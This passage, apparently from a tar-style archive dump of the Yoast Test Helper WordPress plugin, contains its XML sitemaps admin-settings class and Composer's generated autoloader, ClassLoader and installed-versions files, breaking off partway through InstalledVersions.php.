\update_option( $option_name, $data ); // Restore option sanitization. if ( $option_instance ) { \add_filter( 'sanitize_option_' . $option_name, [ $option_instance, 'validate' ] ); } return $success; } } src/xml-sitemaps.php 0000644 00000005601 15004110556 0010466 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Class to manage registering and rendering the admin page in WordPress. */ class XML_Sitemaps implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Adds the required hooks for this class. */ public function add_hooks() { if ( $this->option->get( 'disable_xml_sitemap_cache' ) === true ) { \add_filter( 'wpseo_enable_xml_sitemap_transient_caching', '__return_false' ); } \add_filter( 'wpseo_sitemap_entries_per_page', [ $this, 'xml_sitemap_entries' ], 10, 1 ); \add_action( 'admin_post_yoast_seo_test_xml_sitemaps', [ $this, 'handle_submit' ] ); } /** * Filter the number of XML sitemap entries. * * @param int $number The current number of XML sitemap entries. * * @return int The current number of XML sitemap entries. */ public function xml_sitemap_entries( $number ) { if ( $this->option->get( 'xml_sitemap_entries' ) > 0 ) { return $this->option->get( 'xml_sitemap_entries' ); } return $number; } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Using WPSEO hook. $placeholder = \apply_filters( 'wpseo_sitemap_entries_per_page', 1000 ); $value = ''; if ( $this->option->get( 'xml_sitemap_entries' ) > 0 ) { $value = $this->option->get( 'xml_sitemap_entries' ); } $output = Form_Presenter::create_checkbox( 'disable_xml_sitemap_cache', \esc_html__( 'Disable the XML sitemaps cache.', 'yoast-test-helper' ), $this->option->get( 'disable_xml_sitemap_cache' ) ); $output .= '<label for="xml_sitemap_entries">' . \esc_html__( 'Maximum entries per XML sitemap:', 'yoast-test-helper' ) . '</label>'; $output .= '<input type="number" size="5" value="' . $value . '" placeholder="' . $placeholder . '" name="xml_sitemap_entries" id="xml_sitemap_entries"/><br/>'; return Form_Presenter::get_html( \__( 'XML Sitemaps', 'yoast-test-helper' ), 'yoast_seo_test_xml_sitemaps', $output ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_test_xml_sitemaps' ) !== false ) { $this->option->set( 'disable_xml_sitemap_cache', isset( $_POST['disable_xml_sitemap_cache'] ) ); $xml_sitemap_entries = null; if ( isset( $_POST['xml_sitemap_entries'] ) ) { $xml_sitemap_entries = \intval( \wp_unslash( $_POST['xml_sitemap_entries'] ) ); } $this->option->set( 'xml_sitemap_entries', $xml_sitemap_entries ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } } vendor/composer/autoload_classmap.php 0000644 00000006561 15004110556 0014101 0 ustar 00 <?php // autoload_classmap.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'Yoast\\WP\\Test_Helper\\Admin_Bar_Panel' => $baseDir . '/src/admin-bar-panel.php', 'Yoast\\WP\\Test_Helper\\Admin_Debug_Info' => $baseDir . '/src/admin-debug-info.php', 'Yoast\\WP\\Test_Helper\\Admin_Notifications' => $baseDir . '/src/admin-notifications.php', 'Yoast\\WP\\Test_Helper\\Admin_Page' => $baseDir . '/src/admin-page.php', 'Yoast\\WP\\Test_Helper\\Development_Mode' => $baseDir . '/src/development-mode.php', 'Yoast\\WP\\Test_Helper\\Domain_Dropdown' => $baseDir . '/src/domain-dropdown.php', 'Yoast\\WP\\Test_Helper\\Downgrader' => $baseDir . '/src/downgrader.php', 'Yoast\\WP\\Test_Helper\\Feature_Toggler' => $baseDir . '/src/feature-toggler.php', 'Yoast\\WP\\Test_Helper\\Form_Presenter' => $baseDir . '/src/form-presenter.php', 'Yoast\\WP\\Test_Helper\\Indexing_Reason_Integration' => $baseDir . '/src/indexing-reason-integration.php', 'Yoast\\WP\\Test_Helper\\Inline_Script' => $baseDir . '/src/inline-script.php', 'Yoast\\WP\\Test_Helper\\Integration' => $baseDir . '/src/integration-interface.php', 'Yoast\\WP\\Test_Helper\\Notification' => $baseDir . '/src/notification.php', 'Yoast\\WP\\Test_Helper\\Option' => $baseDir . '/src/option.php', 'Yoast\\WP\\Test_Helper\\Plugin' => $baseDir . '/src/plugin.php', 'Yoast\\WP\\Test_Helper\\Plugin_Toggler' => $baseDir . '/src/plugin-toggler.php', 'Yoast\\WP\\Test_Helper\\Plugin_Version_Control' => $baseDir . '/src/plugin-version-control.php', 'Yoast\\WP\\Test_Helper\\Post_Types' => $baseDir . '/src/post-types.php', 'Yoast\\WP\\Test_Helper\\Query_Monitor' => $baseDir . '/src/query-monitor.php', 'Yoast\\WP\\Test_Helper\\Query_Monitor_Output' => $baseDir . '/src/query-monitor-output.php', 'Yoast\\WP\\Test_Helper\\Schema' => $baseDir . '/src/schema.php', 'Yoast\\WP\\Test_Helper\\Taxonomies' => $baseDir . '/src/taxonomies.php', 'Yoast\\WP\\Test_Helper\\Upgrade_Detector' => $baseDir . '/src/upgrade-detector.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugin_Features' => $baseDir . '/src/wordpress-plugin-features.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugin_Options' => $baseDir . '/src/wordpress-plugin-options.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugin_Version' => $baseDir . '/src/wordpress-plugin-version.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Local_SEO' => $baseDir . '/src/wordpress-plugins/local-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\News_SEO' => $baseDir . '/src/wordpress-plugins/news-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Video_SEO' => $baseDir . '/src/wordpress-plugins/video-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\WooCommerce_SEO' => $baseDir . '/src/wordpress-plugins/woocommerce-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\WordPress_Plugin' => $baseDir . '/src/wordpress-plugins/wordpress-plugin-interface.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Yoast_SEO' => $baseDir . '/src/wordpress-plugins/yoast-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Yoast_SEO_Premium' => $baseDir . '/src/wordpress-plugins/yoast-seo-premium.php', 'Yoast\\WP\\Test_Helper\\XML_Sitemaps' => $baseDir . '/src/xml-sitemaps.php', ); vendor/composer/autoload_namespaces.php 0000644 00000000213 15004110556 0014401 0 ustar 00 <?php // autoload_namespaces.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( ); vendor/composer/autoload_psr4.php 0000644 00000000205 15004110556 0013153 0 ustar 00 <?php // autoload_psr4.php @generated by Composer $vendorDir = dirname(__DIR__); $baseDir = dirname($vendorDir); return array( ); vendor/composer/autoload_real.php 0000644 00000002161 15004110556 0013211 0 ustar 00 <?php // autoload_real.php @generated by Composer class ComposerAutoloaderInit3086485a83e6c83844cea102b35970c7 { private static $loader; public static function loadClassLoader($class) { if ('Composer\Autoload\ClassLoader' === $class) { require __DIR__ . '/ClassLoader.php'; } } /** * @return \Composer\Autoload\ClassLoader */ public static function getLoader() { if (null !== self::$loader) { return self::$loader; } require __DIR__ . '/platform_check.php'; spl_autoload_register(array('ComposerAutoloaderInit3086485a83e6c83844cea102b35970c7', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__)); spl_autoload_unregister(array('ComposerAutoloaderInit3086485a83e6c83844cea102b35970c7', 'loadClassLoader')); require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInit3086485a83e6c83844cea102b35970c7::getInitializer($loader)); $loader->register(true); return $loader; } } vendor/composer/autoload_static.php 0000644 00000010227 15004110556 0013557 0 ustar 00 <?php // autoload_static.php @generated by Composer namespace Composer\Autoload; class ComposerStaticInit3086485a83e6c83844cea102b35970c7 { public static $classMap = array ( 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'Yoast\\WP\\Test_Helper\\Admin_Bar_Panel' => __DIR__ . '/../..' . '/src/admin-bar-panel.php', 'Yoast\\WP\\Test_Helper\\Admin_Debug_Info' => __DIR__ . '/../..' . '/src/admin-debug-info.php', 'Yoast\\WP\\Test_Helper\\Admin_Notifications' => __DIR__ . '/../..' . '/src/admin-notifications.php', 'Yoast\\WP\\Test_Helper\\Admin_Page' => __DIR__ . '/../..' . '/src/admin-page.php', 'Yoast\\WP\\Test_Helper\\Development_Mode' => __DIR__ . '/../..' . '/src/development-mode.php', 'Yoast\\WP\\Test_Helper\\Domain_Dropdown' => __DIR__ . '/../..' . '/src/domain-dropdown.php', 'Yoast\\WP\\Test_Helper\\Downgrader' => __DIR__ . '/../..' . '/src/downgrader.php', 'Yoast\\WP\\Test_Helper\\Feature_Toggler' => __DIR__ . '/../..' . '/src/feature-toggler.php', 'Yoast\\WP\\Test_Helper\\Form_Presenter' => __DIR__ . '/../..' . '/src/form-presenter.php', 'Yoast\\WP\\Test_Helper\\Indexing_Reason_Integration' => __DIR__ . '/../..' . '/src/indexing-reason-integration.php', 'Yoast\\WP\\Test_Helper\\Inline_Script' => __DIR__ . '/../..' . '/src/inline-script.php', 'Yoast\\WP\\Test_Helper\\Integration' => __DIR__ . '/../..' . '/src/integration-interface.php', 'Yoast\\WP\\Test_Helper\\Notification' => __DIR__ . '/../..' . '/src/notification.php', 'Yoast\\WP\\Test_Helper\\Option' => __DIR__ . '/../..' . '/src/option.php', 'Yoast\\WP\\Test_Helper\\Plugin' => __DIR__ . '/../..' . '/src/plugin.php', 'Yoast\\WP\\Test_Helper\\Plugin_Toggler' => __DIR__ . '/../..' . '/src/plugin-toggler.php', 'Yoast\\WP\\Test_Helper\\Plugin_Version_Control' => __DIR__ . '/../..' . '/src/plugin-version-control.php', 'Yoast\\WP\\Test_Helper\\Post_Types' => __DIR__ . '/../..' . '/src/post-types.php', 'Yoast\\WP\\Test_Helper\\Query_Monitor' => __DIR__ . '/../..' . '/src/query-monitor.php', 'Yoast\\WP\\Test_Helper\\Query_Monitor_Output' => __DIR__ . '/../..' . '/src/query-monitor-output.php', 'Yoast\\WP\\Test_Helper\\Schema' => __DIR__ . '/../..' . '/src/schema.php', 'Yoast\\WP\\Test_Helper\\Taxonomies' => __DIR__ . '/../..' . '/src/taxonomies.php', 'Yoast\\WP\\Test_Helper\\Upgrade_Detector' => __DIR__ . '/../..' . '/src/upgrade-detector.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugin_Features' => __DIR__ . '/../..' . '/src/wordpress-plugin-features.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugin_Options' => __DIR__ . '/../..' . '/src/wordpress-plugin-options.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugin_Version' => __DIR__ . '/../..' . '/src/wordpress-plugin-version.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Local_SEO' => __DIR__ . '/../..' . '/src/wordpress-plugins/local-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\News_SEO' => __DIR__ . '/../..' . '/src/wordpress-plugins/news-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Video_SEO' => __DIR__ . '/../..' . '/src/wordpress-plugins/video-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\WooCommerce_SEO' => __DIR__ . '/../..' . '/src/wordpress-plugins/woocommerce-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\WordPress_Plugin' => __DIR__ . '/../..' . '/src/wordpress-plugins/wordpress-plugin-interface.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Yoast_SEO' => __DIR__ . '/../..' . '/src/wordpress-plugins/yoast-seo.php', 'Yoast\\WP\\Test_Helper\\WordPress_Plugins\\Yoast_SEO_Premium' => __DIR__ . '/../..' . '/src/wordpress-plugins/yoast-seo-premium.php', 'Yoast\\WP\\Test_Helper\\XML_Sitemaps' => __DIR__ . '/../..' . '/src/xml-sitemaps.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->classMap = ComposerStaticInit3086485a83e6c83844cea102b35970c7::$classMap; }, null, ClassLoader::class); } } vendor/composer/ClassLoader.php 0000644 00000037772 15004110556 0012612 0 ustar 00 <?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier <fabien@symfony.com> * @author Jordi Boggiano <j.boggiano@seld.be> * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var \Closure(string):void */ private static $includeFile; /** @var string|null */ private $vendorDir; // PSR-4 /** * @var array<string, array<string, int>> */ private $prefixLengthsPsr4 = array(); /** * @var array<string, list<string>> */ private $prefixDirsPsr4 = array(); /** * @var list<string> */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * List of PSR-0 prefixes * * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2'))) * * @var array<string, array<string, list<string>>> */ private $prefixesPsr0 = array(); /** * @var list<string> */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var array<string, string> */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var array<string, bool> */ private $missingClasses = array(); /** @var string|null */ private $apcuPrefix; /** * @var array<string, self> */ private static $registeredLoaders = array(); /** * @param string|null $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; self::initializeIncludeClosure(); } /** * @return array<string, list<string>> */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array<string, list<string>> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return list<string> */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return list<string> */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return array<string, string> Array of classname => path */ public function getClassMap() { return $this->classMap; } /** * @param array<string, string> $classMap Class to filename map * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param list<string>|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { $paths = (array) $paths; if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param list<string>|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { $paths = (array) $paths; if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param list<string>|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param list<string>|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { $includeFile = self::$includeFile; $includeFile($file); return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders keyed by their corresponding vendor directories. * * @return array<string, self> */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } /** * @return void */ private static function initializeIncludeClosure() { if (self::$includeFile !== null) { return; } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void */ self::$includeFile = \Closure::bind(static function($file) { include $file; }, null, null); } } vendor/composer/installed.json 0000644 00000000106 15004110556 0012534 0 ustar 00 { "packages": [], "dev": false, "dev-package-names": [] } vendor/composer/installed.php 0000644 00000001401 15004110556 0012351 0 ustar 00 <?php return array( 'root' => array( 'name' => 'yoast/test-helper', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '1431e80790025e99a5bb5760deeb51b495475902', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false, ), 'versions' => array( 'yoast/test-helper' => array( 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '1431e80790025e99a5bb5760deeb51b495475902', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false, ), ), ); vendor/composer/InstalledVersions.php 0000644 00000037417 15004110556 0014062 0 ustar 00 <?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` * * @final */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list<string> */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list<string> */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false; } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints((string) $constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { 